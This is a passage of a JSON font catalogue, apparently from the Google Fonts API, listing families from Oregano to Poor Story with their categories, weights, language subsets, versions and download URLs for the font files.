"http://fonts.gstatic.com/s/oregano/v7/If2KXTPxciS3H4S2oZXVOxvLzyP_qw.ttf" } }, { "kind": "webfonts#webfont", "family": "Orienta", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/orienta/v7/PlI9FlK4Jrl5Y9zNeyeo9HRFhcU.ttf" } }, { "kind": "webfonts#webfont", "family": "Original Surfer", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/originalsurfer/v8/RWmQoKGZ9vIirYntXJ3_MbekzNMiDEtvAlaMKw.ttf" } }, { "kind": "webfonts#webfont", "family": "Oswald", "category": "sans-serif", "variants": [ "200", "300", "regular", "500", "600", "700" ], "subsets": [ "cyrillic", "cyrillic-ext", "latin", "latin-ext", "vietnamese" ], "version": "v31", "lastModified": "2020-03-03", "files": { "200": "http://fonts.gstatic.com/s/oswald/v31/TK3_WkUHHAIjg75cFRf3bXL8LICs13FvgUFoZAaRliE.ttf", "300": "http://fonts.gstatic.com/s/oswald/v31/TK3_WkUHHAIjg75cFRf3bXL8LICs169vgUFoZAaRliE.ttf", "500": "http://fonts.gstatic.com/s/oswald/v31/TK3_WkUHHAIjg75cFRf3bXL8LICs18NvgUFoZAaRliE.ttf", "600": "http://fonts.gstatic.com/s/oswald/v31/TK3_WkUHHAIjg75cFRf3bXL8LICs1y9ogUFoZAaRliE.ttf", "700": "http://fonts.gstatic.com/s/oswald/v31/TK3_WkUHHAIjg75cFRf3bXL8LICs1xZogUFoZAaRliE.ttf", "regular": "http://fonts.gstatic.com/s/oswald/v31/TK3_WkUHHAIjg75cFRf3bXL8LICs1_FvgUFoZAaRliE.ttf" } }, { "kind": "webfonts#webfont", "family": "Over the Rainbow", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/overtherainbow/v10/11haGoXG1k_HKhMLUWz7Mc7vvW5upvOm9NA2XG0.ttf" } }, { "kind": "webfonts#webfont", "family": "Overlock", "category": "display", "variants": [ "regular", "italic", "700", "700italic", "900", "900italic" ], "subsets": [ "latin", "latin-ext" ], "version": "v9", "lastModified": "2019-07-16", "files": { "700": "http://fonts.gstatic.com/s/overlock/v9/Z9XSDmdMWRiN1_T9Z7xizcmMvL2L9TLT.ttf", "900": "http://fonts.gstatic.com/s/overlock/v9/Z9XSDmdMWRiN1_T9Z7xaz8mMvL2L9TLT.ttf", "regular": "http://fonts.gstatic.com/s/overlock/v9/Z9XVDmdMWRiN1_T9Z4Te4u2El6GC.ttf", "italic": "http://fonts.gstatic.com/s/overlock/v9/Z9XTDmdMWRiN1_T9Z7Tc6OmmkrGC7Cs.ttf", "700italic": "http://fonts.gstatic.com/s/overlock/v9/Z9XQDmdMWRiN1_T9Z7Tc0FWJtrmp8CLTlNs.ttf", "900italic": "http://fonts.gstatic.com/s/overlock/v9/Z9XQDmdMWRiN1_T9Z7Tc0G2Ltrmp8CLTlNs.ttf" } }, { "kind": "webfonts#webfont", "family": "Overlock SC", "category": "display", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/overlocksc/v8/1cX3aUHKGZrstGAY8nwVzHGAq8Sk1PoH.ttf" } }, { "kind": "webfonts#webfont", "family": "Overpass", "category": "sans-serif", "variants": [ "100", "100italic", "200", "200italic", "300", "300italic", "regular", "italic", "600", "600italic", "700", "700italic", "800", "800italic", "900", "900italic" ], "subsets": [ "latin", "latin-ext" ], "version": "v4", "lastModified": "2019-07-17", "files": { "100": "http://fonts.gstatic.com/s/overpass/v4/qFdB35WCmI96Ajtm81nGU97gxhcJk1s.ttf", "200": "http://fonts.gstatic.com/s/overpass/v4/qFdA35WCmI96Ajtm81lqcv7K6BsAikI7.ttf", "300": "http://fonts.gstatic.com/s/overpass/v4/qFdA35WCmI96Ajtm81kOcf7K6BsAikI7.ttf", "600": "http://fonts.gstatic.com/s/overpass/v4/qFdA35WCmI96Ajtm81l6d_7K6BsAikI7.ttf", "700": "http://fonts.gstatic.com/s/overpass/v4/qFdA35WCmI96Ajtm81kedv7K6BsAikI7.ttf", "800": "http://fonts.gstatic.com/s/overpass/v4/qFdA35WCmI96Ajtm81kCdf7K6BsAikI7.ttf", "900": "http://fonts.gstatic.com/s/overpass/v4/qFdA35WCmI96Ajtm81kmdP7K6BsAikI7.ttf", "100italic": "http://fonts.gstatic.com/s/overpass/v4/qFdD35WCmI96Ajtm81Gga7rqwjUMg1siNQ.ttf", "200italic": "http://fonts.gstatic.com/s/overpass/v4/qFdC35WCmI96Ajtm81GgaxbL4h8ij1I7LLE.ttf", "300italic": "http://fonts.gstatic.com/s/overpass/v4/qFdC35WCmI96Ajtm81Gga3LI4h8ij1I7LLE.ttf", "regular": "http://fonts.gstatic.com/s/overpass/v4/qFdH35WCmI96Ajtm82GiWdrCwwcJ.ttf", "italic": "http://fonts.gstatic.com/s/overpass/v4/qFdB35WCmI96Ajtm81GgU97gxhcJk1s.ttf", "600italic": "http://fonts.gstatic.com/s/overpass/v4/qFdC35WCmI96Ajtm81GgawbO4h8ij1I7LLE.ttf", "700italic": "http://fonts.gstatic.com/s/overpass/v4/qFdC35WCmI96Ajtm81Gga2LP4h8ij1I7LLE.ttf", "800italic": "http://fonts.gstatic.com/s/overpass/v4/qFdC35WCmI96Ajtm81Gga37M4h8ij1I7LLE.ttf", "900italic": "http://fonts.gstatic.com/s/overpass/v4/qFdC35WCmI96Ajtm81Gga1rN4h8ij1I7LLE.ttf" } }, { "kind": "webfonts#webfont", "family": "Overpass Mono", "category": "monospace", "variants": [ "300", "regular", "600", "700" ], "subsets": [ "latin", "latin-ext" ], "version": "v5", "lastModified": "2019-07-16", "files": { "300": "http://fonts.gstatic.com/s/overpassmono/v5/_Xm3-H86tzKDdAPa-KPQZ-AC3oSWk_edB3Zf8EQ.ttf", "600": "http://fonts.gstatic.com/s/overpassmono/v5/_Xm3-H86tzKDdAPa-KPQZ-AC3vCQk_edB3Zf8EQ.ttf", "700": "http://fonts.gstatic.com/s/overpassmono/v5/_Xm3-H86tzKDdAPa-KPQZ-AC3pSRk_edB3Zf8EQ.ttf", "regular": "http://fonts.gstatic.com/s/overpassmono/v5/_Xmq-H86tzKDdAPa-KPQZ-AC5ii-t_-2G38.ttf" } }, { "kind": "webfonts#webfont", "family": "Ovo", "category": "serif", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v11", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/ovo/v11/yYLl0h7Wyfzjy4Q5_3WVxA.ttf" } }, { "kind": "webfonts#webfont", "family": "Oxanium", "category": "display", "variants": [ "200", "300", "regular", "500", "600", "700", "800" ], "subsets": [ "latin", "latin-ext" ], "version": "v1", "lastModified": "2020-03-03", "files": { "200": "http://fonts.gstatic.com/s/oxanium/v1/RrQVboN_4yJ0JmiMc63l9Lhqa48pA8w.ttf", "300": "http://fonts.gstatic.com/s/oxanium/v1/RrQVboN_4yJ0JmiMc8nm9Lhqa48pA8w.ttf", "500": "http://fonts.gstatic.com/s/oxanium/v1/RrQVboN_4yJ0JmiMc5Hn9Lhqa48pA8w.ttf", "600": "http://fonts.gstatic.com/s/oxanium/v1/RrQVboN_4yJ0JmiMc73g9Lhqa48pA8w.ttf", "700": "http://fonts.gstatic.com/s/oxanium/v1/RrQVboN_4yJ0JmiMc9nh9Lhqa48pA8w.ttf", "800": "http://fonts.gstatic.com/s/oxanium/v1/RrQVboN_4yJ0JmiMc8Xi9Lhqa48pA8w.ttf", "regular": "http://fonts.gstatic.com/s/oxanium/v1/RrQQboN_4yJ0JmiMS2XO0LBBd4Y.ttf" } }, { "kind": "webfonts#webfont", "family": "Oxygen", "category": "sans-serif", "variants": [ "300", "regular", "700" ], "subsets": [ "latin", "latin-ext" ], "version": "v9", "lastModified": "2019-07-22", "files": { "300": "http://fonts.gstatic.com/s/oxygen/v9/2sDcZG1Wl4LcnbuCJW8Db2-4C7wFZQ.ttf", "700": "http://fonts.gstatic.com/s/oxygen/v9/2sDcZG1Wl4LcnbuCNWgDb2-4C7wFZQ.ttf", "regular": "http://fonts.gstatic.com/s/oxygen/v9/2sDfZG1Wl4Lcnbu6iUcnZ0SkAg.ttf" } }, { "kind": "webfonts#webfont", "family": "Oxygen Mono", "category": "monospace", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/oxygenmono/v7/h0GsssGg9FxgDgCjLeAd7ijfze-PPlUu.ttf" } }, { "kind": "webfonts#webfont", "family": "PT Mono", "category": "monospace", "variants": [ "regular" ], "subsets": [ "cyrillic", "cyrillic-ext", "latin", "latin-ext" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/ptmono/v7/9oRONYoBnWILk-9ArCg5MtPyAcg.ttf" } }, { "kind": "webfonts#webfont", "family": "PT Sans", "category": "sans-serif", "variants": [ "regular", "italic", "700", "700italic" ], "subsets": [ "cyrillic", "cyrillic-ext", "latin", "latin-ext" ], "version": "v11", "lastModified": "2019-07-22", "files": { "700": "http://fonts.gstatic.com/s/ptsans/v11/jizfRExUiTo99u79B_mh4OmnLD0Z4zM.ttf", "regular": "http://fonts.gstatic.com/s/ptsans/v11/jizaRExUiTo99u79P0WOxOGMMDQ.ttf", "italic": "http://fonts.gstatic.com/s/ptsans/v11/jizYRExUiTo99u79D0eEwMOJIDQA-g.ttf", "700italic": "http://fonts.gstatic.com/s/ptsans/v11/jizdRExUiTo99u79D0e8fOytKB8c8zMrig.ttf" } }, { "kind": "webfonts#webfont", "family": "PT Sans Caption", "category": "sans-serif", "variants": [ "regular", "700" ], "subsets": [ "cyrillic", "cyrillic-ext", "latin", "latin-ext" ], "version": "v12", "lastModified": "2019-07-17", "files": { "700": "http://fonts.gstatic.com/s/ptsanscaption/v12/0FlJVP6Hrxmt7-fsUFhlFXNIlpcSwSrUSwWuz38Tgg.ttf", "regular": "http://fonts.gstatic.com/s/ptsanscaption/v12/0FlMVP6Hrxmt7-fsUFhlFXNIlpcqfQXwQy6yxg.ttf" } }, { "kind": "webfonts#webfont", "family": "PT Sans Narrow", "category": "sans-serif", "variants": [ "regular", "700" ], "subsets": [ "cyrillic", "cyrillic-ext", "latin", "latin-ext" ], "version": "v11", "lastModified": "2019-07-22", "files": { "700": "http://fonts.gstatic.com/s/ptsansnarrow/v11/BngSUXNadjH0qYEzV7ab-oWlsbg95DiCUfzgRd-3.ttf", "regular": "http://fonts.gstatic.com/s/ptsansnarrow/v11/BngRUXNadjH0qYEzV7ab-oWlsYCByxyKeuDp.ttf" } }, { "kind": "webfonts#webfont", "family": "PT Serif", "category": "serif", "variants": [ "regular", "italic", "700", "700italic" ], "subsets": [ "cyrillic", "cyrillic-ext", "latin", "latin-ext" ], "version": "v11", "lastModified": "2019-07-22", "files": { "700": "http://fonts.gstatic.com/s/ptserif/v11/EJRSQgYoZZY2vCFuvAnt65qVXSr3pNNB.ttf", "regular": "http://fonts.gstatic.com/s/ptserif/v11/EJRVQgYoZZY2vCFuvDFRxL6ddjb-.ttf", "italic": "http://fonts.gstatic.com/s/ptserif/v11/EJRTQgYoZZY2vCFuvAFTzrq_cyb-vco.ttf", "700italic": "http://fonts.gstatic.com/s/ptserif/v11/EJRQQgYoZZY2vCFuvAFT9gaQVy7VocNB6Iw.ttf" } }, { "kind": "webfonts#webfont", "family": "PT Serif Caption", "category": "serif", "variants": [ "regular", "italic" ], "subsets": [ "cyrillic", "cyrillic-ext", "latin", "latin-ext" ], "version": "v11", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/ptserifcaption/v11/ieVl2ZhbGCW-JoW6S34pSDpqYKU059WxDCs5cvI.ttf", "italic": "http://fonts.gstatic.com/s/ptserifcaption/v11/ieVj2ZhbGCW-JoW6S34pSDpqYKU019e7CAk8YvJEeg.ttf" } }, { "kind": "webfonts#webfont", "family": "Pacifico", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "cyrillic", "cyrillic-ext", "latin", "latin-ext", "vietnamese" ], "version": "v16", "lastModified": "2019-09-17", "files": { "regular": "http://fonts.gstatic.com/s/pacifico/v16/FwZY7-Qmy14u9lezJ96A4sijpFu_.ttf" } }, { "kind": "webfonts#webfont", "family": "Padauk", "category": "sans-serif", "variants": [ "regular", "700" ], "subsets": [ "latin", "myanmar" ], "version": "v6", "lastModified": "2019-07-16", "files": { "700": "http://fonts.gstatic.com/s/padauk/v6/RrQSboJg-id7Onb512DE1JJEZ4YwGg.ttf", "regular": "http://fonts.gstatic.com/s/padauk/v6/RrQRboJg-id7OnbBa0_g3LlYbg.ttf" } }, { "kind": "webfonts#webfont", "family": "Palanquin", "category": "sans-serif", "variants": [ "100", "200", "300", "regular", "500", "600", "700" ], "subsets": [ "devanagari", "latin", "latin-ext" ], "version": "v5", "lastModified": "2019-07-16", "files": { "100": "http://fonts.gstatic.com/s/palanquin/v5/9XUhlJ90n1fBFg7ceXwUEltI7rWmZzTH.ttf", "200": "http://fonts.gstatic.com/s/palanquin/v5/9XUilJ90n1fBFg7ceXwUvnpoxJuqbi3ezg.ttf", "300": "http://fonts.gstatic.com/s/palanquin/v5/9XUilJ90n1fBFg7ceXwU2nloxJuqbi3ezg.ttf", "500": "http://fonts.gstatic.com/s/palanquin/v5/9XUilJ90n1fBFg7ceXwUgnhoxJuqbi3ezg.ttf", "600": "http://fonts.gstatic.com/s/palanquin/v5/9XUilJ90n1fBFg7ceXwUrn9oxJuqbi3ezg.ttf", "700": "http://fonts.gstatic.com/s/palanquin/v5/9XUilJ90n1fBFg7ceXwUyn5oxJuqbi3ezg.ttf", "regular": "http://fonts.gstatic.com/s/palanquin/v5/9XUnlJ90n1fBFg7ceXwsdlFMzLC2Zw.ttf" } }, { "kind": "webfonts#webfont", "family": "Palanquin Dark", "category": "sans-serif", "variants": [ "regular", "500", "600", "700" ], "subsets": [ "devanagari", "latin", "latin-ext" ], "version": "v6", "lastModified": "2019-07-16", "files": { "500": "http://fonts.gstatic.com/s/palanquindark/v6/xn76YHgl1nqmANMB-26xC7yuF8Z6ZW41fcvN2KT4.ttf", "600": "http://fonts.gstatic.com/s/palanquindark/v6/xn76YHgl1nqmANMB-26xC7yuF8ZWYm41fcvN2KT4.ttf", "700": "http://fonts.gstatic.com/s/palanquindark/v6/xn76YHgl1nqmANMB-26xC7yuF8YyY241fcvN2KT4.ttf", "regular": "http://fonts.gstatic.com/s/palanquindark/v6/xn75YHgl1nqmANMB-26xC7yuF_6OTEo9VtfE.ttf" } }, { "kind": "webfonts#webfont", "family": "Pangolin", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "cyrillic", "cyrillic-ext", "latin", "latin-ext", "vietnamese" ], "version": "v5", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/pangolin/v5/cY9GfjGcW0FPpi-tWPfK5d3aiLBG.ttf" } }, { "kind": "webfonts#webfont", "family": "Paprika", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/paprika/v7/8QIJdijZitv49rDfuIgOq7jkAOw.ttf" } }, { "kind": "webfonts#webfont", "family": "Parisienne", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/parisienne/v7/E21i_d3kivvAkxhLEVZpcy96DuKuavM.ttf" } }, { "kind": "webfonts#webfont", "family": "Passero One", "category": "display", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v11", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/passeroone/v11/JTUTjIko8DOq5FeaeEAjgE5B5Arr-s50.ttf" } }, { "kind": "webfonts#webfont", "family": "Passion One", "category": "display", "variants": [ "regular", "700", "900" ], "subsets": [ "latin", "latin-ext" ], "version": "v10", "lastModified": "2019-07-16", "files": { "700": "http://fonts.gstatic.com/s/passionone/v10/Pby6FmL8HhTPqbjUzux3JEMq037owpYcuH8y.ttf", "900": "http://fonts.gstatic.com/s/passionone/v10/Pby6FmL8HhTPqbjUzux3JEMS0X7owpYcuH8y.ttf", "regular": "http://fonts.gstatic.com/s/passionone/v10/PbynFmL8HhTPqbjUzux3JHuW_Frg6YoV.ttf" } }, { "kind": "webfonts#webfont", "family": "Pathway Gothic One", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v8", "lastModified": "2019-07-17", "files": { "regular": "http://fonts.gstatic.com/s/pathwaygothicone/v8/MwQrbgD32-KAvjkYGNUUxAtW7pEBwx-dTFxeb80flQ.ttf" } }, { "kind": "webfonts#webfont", "family": "Patrick Hand", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext", "vietnamese" ], "version": "v13", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/patrickhand/v13/LDI1apSQOAYtSuYWp8ZhfYeMWcjKm7sp8g.ttf" } }, { "kind": "webfonts#webfont", "family": "Patrick Hand SC", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext", "vietnamese" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/patrickhandsc/v7/0nkwC9f7MfsBiWcLtY65AWDK873ViSi6JQc7Vg.ttf" } }, { "kind": "webfonts#webfont", "family": "Pattaya", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "cyrillic", "latin", "latin-ext", "thai", "vietnamese" ], "version": "v5", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/pattaya/v5/ea8ZadcqV_zkHY-XNdCn92ZEmVs.ttf" } }, { "kind": "webfonts#webfont", "family": "Patua One", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v10", "lastModified": "2019-07-17", "files": { "regular": "http://fonts.gstatic.com/s/patuaone/v10/ZXuke1cDvLCKLDcimxBI5PNvNA9LuA.ttf" } }, { "kind": "webfonts#webfont", "family": "Pavanam", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext", "tamil" ], "version": "v4", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/pavanam/v4/BXRrvF_aiezLh0xPDOtQ9Wf0QcE.ttf" } }, { "kind": "webfonts#webfont", "family": "Paytone One", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext", "vietnamese" ], "version": "v12", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/paytoneone/v12/0nksC9P7MfYHj2oFtYm2CiTqivr9iBq_.ttf" } }, { "kind": "webfonts#webfont", "family": "Peddana", "category": "serif", "variants": [ "regular" ], "subsets": [ "latin", "telugu" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/peddana/v7/aFTU7PBhaX89UcKWhh2aBYyMcKw.ttf" } }, { "kind": "webfonts#webfont", "family": "Peralta", "category": "display", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/peralta/v7/hYkJPu0-RP_9d3kRGxAhrv956B8.ttf" } }, { "kind": "webfonts#webfont", "family": "Permanent Marker", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v9", "lastModified": "2019-07-17", "files": { "regular": "http://fonts.gstatic.com/s/permanentmarker/v9/Fh4uPib9Iyv2ucM6pGQMWimMp004HaqIfrT5nlk.ttf" } }, { "kind": "webfonts#webfont", "family": "Petit Formal Script", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/petitformalscript/v7/B50TF6xQr2TXJBnGOFME6u5OR83oRP5qoHnqP4gZSiE.ttf" } }, { "kind": "webfonts#webfont", "family": "Petrona", "category": "serif", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/petrona/v8/mtG64_NXL7bZo9XXsXVStGsRwCU.ttf" } }, { "kind": "webfonts#webfont", "family": "Philosopher", "category": "sans-serif", "variants": [ "regular", "italic", "700", "700italic" ], "subsets": [ "cyrillic", "cyrillic-ext", "latin", "vietnamese" ], "version": "v12", "lastModified": "2020-01-30", "files": { "700": "http://fonts.gstatic.com/s/philosopher/v12/vEFI2_5QCwIS4_Dhez5jcWjVamgc-NaXXq7H.ttf", "regular": "http://fonts.gstatic.com/s/philosopher/v12/vEFV2_5QCwIS4_Dhez5jcVBpRUwU08qe.ttf", "italic": "http://fonts.gstatic.com/s/philosopher/v12/vEFX2_5QCwIS4_Dhez5jcWBrT0g21tqeR7c.ttf", "700italic": "http://fonts.gstatic.com/s/philosopher/v12/vEFK2_5QCwIS4_Dhez5jcWBrd_QZ8tK1W77HtMo.ttf" } }, { "kind": "webfonts#webfont", "family": "Piedra", "category": "display", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/piedra/v8/ke8kOg8aN0Bn7hTunEyHN_M3gA.ttf" } }, { "kind": "webfonts#webfont", "family": "Pinyon Script", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v10", "lastModified": "2020-03-30", "files": { "regular": "http://fonts.gstatic.com/s/pinyonscript/v10/6xKpdSJbL9-e9LuoeQiDRQR8aOLQO4bhiDY.ttf" } }, { "kind": "webfonts#webfont", "family": "Pirata One", "category": "display", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/pirataone/v8/I_urMpiDvgLdLh0fAtoftiiEr5_BdZ8.ttf" } }, { "kind": "webfonts#webfont", "family": "Plaster", "category": "display", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v11", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/plaster/v11/DdTm79QatW80eRh4Ei5JOtLOeLI.ttf" } }, { "kind": "webfonts#webfont", "family": "Play", "category": "sans-serif", "variants": [ "regular", "700" ], "subsets": [ "cyrillic", "cyrillic-ext", "greek", "latin", "latin-ext", "vietnamese" ], "version": "v11", "lastModified": "2019-07-17", "files": { "700": "http://fonts.gstatic.com/s/play/v11/6ae84K2oVqwItm4TOpc423nTJTM.ttf", "regular": "http://fonts.gstatic.com/s/play/v11/6aez4K2oVqwIjtI8Hp8Tx3A.ttf" } }, { "kind": "webfonts#webfont", "family": "Playball", "category": "display", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/playball/v9/TK3gWksYAxQ7jbsKcj8Dl-tPKo2t.ttf" } }, { "kind": "webfonts#webfont", "family": "Playfair Display", "category": "serif", "variants": [ "regular", "500", "600", "700", "800", "900", "italic", "500italic", "600italic", "700italic", "800italic", "900italic" ], "subsets": [ "cyrillic", "latin", "latin-ext", "vietnamese" ], "version": "v20", "lastModified": "2020-02-05", "files": { "500": "http://fonts.gstatic.com/s/playfairdisplay/v20/nuFvD-vYSZviVYUb_rj3ij__anPXJzDwcbmjWBN2PKd3vUDQZNLo_U2r.ttf", "600": "http://fonts.gstatic.com/s/playfairdisplay/v20/nuFvD-vYSZviVYUb_rj3ij__anPXJzDwcbmjWBN2PKebukDQZNLo_U2r.ttf", "700": "http://fonts.gstatic.com/s/playfairdisplay/v20/nuFvD-vYSZviVYUb_rj3ij__anPXJzDwcbmjWBN2PKeiukDQZNLo_U2r.ttf", "800": "http://fonts.gstatic.com/s/playfairdisplay/v20/nuFvD-vYSZviVYUb_rj3ij__anPXJzDwcbmjWBN2PKfFukDQZNLo_U2r.ttf", "900": "http://fonts.gstatic.com/s/playfairdisplay/v20/nuFvD-vYSZviVYUb_rj3ij__anPXJzDwcbmjWBN2PKfsukDQZNLo_U2r.ttf", "regular": "http://fonts.gstatic.com/s/playfairdisplay/v20/nuFvD-vYSZviVYUb_rj3ij__anPXJzDwcbmjWBN2PKdFvUDQZNLo_U2r.ttf", "italic": "http://fonts.gstatic.com/s/playfairdisplay/v20/nuFRD-vYSZviVYUb_rj3ij__anPXDTnCjmHKM4nYO7KN_qiTbtbK-F2rA0s.ttf", "500italic": "http://fonts.gstatic.com/s/playfairdisplay/v20/nuFRD-vYSZviVYUb_rj3ij__anPXDTnCjmHKM4nYO7KN_pqTbtbK-F2rA0s.ttf", "600italic": "http://fonts.gstatic.com/s/playfairdisplay/v20/nuFRD-vYSZviVYUb_rj3ij__anPXDTnCjmHKM4nYO7KN_naUbtbK-F2rA0s.ttf", "700italic": "http://fonts.gstatic.com/s/playfairdisplay/v20/nuFRD-vYSZviVYUb_rj3ij__anPXDTnCjmHKM4nYO7KN_k-UbtbK-F2rA0s.ttf", "800italic": "http://fonts.gstatic.com/s/playfairdisplay/v20/nuFRD-vYSZviVYUb_rj3ij__anPXDTnCjmHKM4nYO7KN_iiUbtbK-F2rA0s.ttf", "900italic": "http://fonts.gstatic.com/s/playfairdisplay/v20/nuFRD-vYSZviVYUb_rj3ij__anPXDTnCjmHKM4nYO7KN_gGUbtbK-F2rA0s.ttf" } }, { "kind": "webfonts#webfont", "family": "Playfair Display SC", "category": "serif", "variants": [ "regular", "italic", "700", "700italic", "900", "900italic" ], "subsets": [ "cyrillic", "latin", "latin-ext", "vietnamese" ], "version": "v9", "lastModified": "2019-07-16", "files": { "700": "http://fonts.gstatic.com/s/playfairdisplaysc/v9/ke80OhoaMkR6-hSn7kbHVoFf7ZfgMPr_nQIpNcsdL4IUMyE.ttf", "900": "http://fonts.gstatic.com/s/playfairdisplaysc/v9/ke80OhoaMkR6-hSn7kbHVoFf7ZfgMPr_nTorNcsdL4IUMyE.ttf", "regular": "http://fonts.gstatic.com/s/playfairdisplaysc/v9/ke85OhoaMkR6-hSn7kbHVoFf7ZfgMPr_pb4GEcM2M4s.ttf", "italic": "http://fonts.gstatic.com/s/playfairdisplaysc/v9/ke87OhoaMkR6-hSn7kbHVoFf7ZfgMPr_lbwMFeEzI4sNKg.ttf", "700italic": "http://fonts.gstatic.com/s/playfairdisplaysc/v9/ke82OhoaMkR6-hSn7kbHVoFf7ZfgMPr_lbw0qc4XK6ARIyH5IA.ttf", "900italic": "http://fonts.gstatic.com/s/playfairdisplaysc/v9/ke82OhoaMkR6-hSn7kbHVoFf7ZfgMPr_lbw0kcwXK6ARIyH5IA.ttf" } }, { "kind": "webfonts#webfont", "family": "Podkova", "category": "serif", "variants": [ "regular", "500", "600", "700", "800" ], "subsets": [ "cyrillic", "cyrillic-ext", "latin", "latin-ext", "vietnamese" ], "version": "v16", "lastModified": "2020-02-05", "files": { "500": "http://fonts.gstatic.com/s/podkova/v16/K2FufZ1EmftJSV9VQpXb1lo9vC3nZWt3zcU4EoporSHH.ttf", "600": "http://fonts.gstatic.com/s/podkova/v16/K2FufZ1EmftJSV9VQpXb1lo9vC3nZWubysU4EoporSHH.ttf", "700": "http://fonts.gstatic.com/s/podkova/v16/K2FufZ1EmftJSV9VQpXb1lo9vC3nZWuiysU4EoporSHH.ttf", "800": "http://fonts.gstatic.com/s/podkova/v16/K2FufZ1EmftJSV9VQpXb1lo9vC3nZWvFysU4EoporSHH.ttf", "regular": "http://fonts.gstatic.com/s/podkova/v16/K2FufZ1EmftJSV9VQpXb1lo9vC3nZWtFzcU4EoporSHH.ttf" } }, { "kind": "webfonts#webfont", "family": "Poiret One", "category": "display", "variants": [ "regular" ], "subsets": [ "cyrillic", "latin", "latin-ext" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/poiretone/v8/UqyVK80NJXN4zfRgbdfbk5lWVscxdKE.ttf" } }, { "kind": "webfonts#webfont", "family": "Poller One", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/pollerone/v9/ahccv82n0TN3gia5E4Bud-lbgUS5u0s.ttf" } }, { "kind": "webfonts#webfont", "family": "Poly", "category": "serif", "variants": [ "regular", "italic" ], "subsets": [ "latin" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/poly/v10/MQpb-W6wKNitRLCAq2Lpris.ttf", "italic": "http://fonts.gstatic.com/s/poly/v10/MQpV-W6wKNitdLKKr0DsviuGWA.ttf" } }, { "kind": "webfonts#webfont", "family": "Pompiere", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/pompiere/v9/VEMyRoxis5Dwuyeov6Wt5jDtreOL.ttf" } }, { "kind": "webfonts#webfont", "family": "Pontano Sans", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/pontanosans/v7/qFdD35GdgYR8EzR6oBLDHa3qwjUMg1siNQ.ttf" } }, { "kind": "webfonts#webfont", "family": "Poor Story", "category": "display", "variants": [ "regular" ], "subsets": [ "korean", "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": 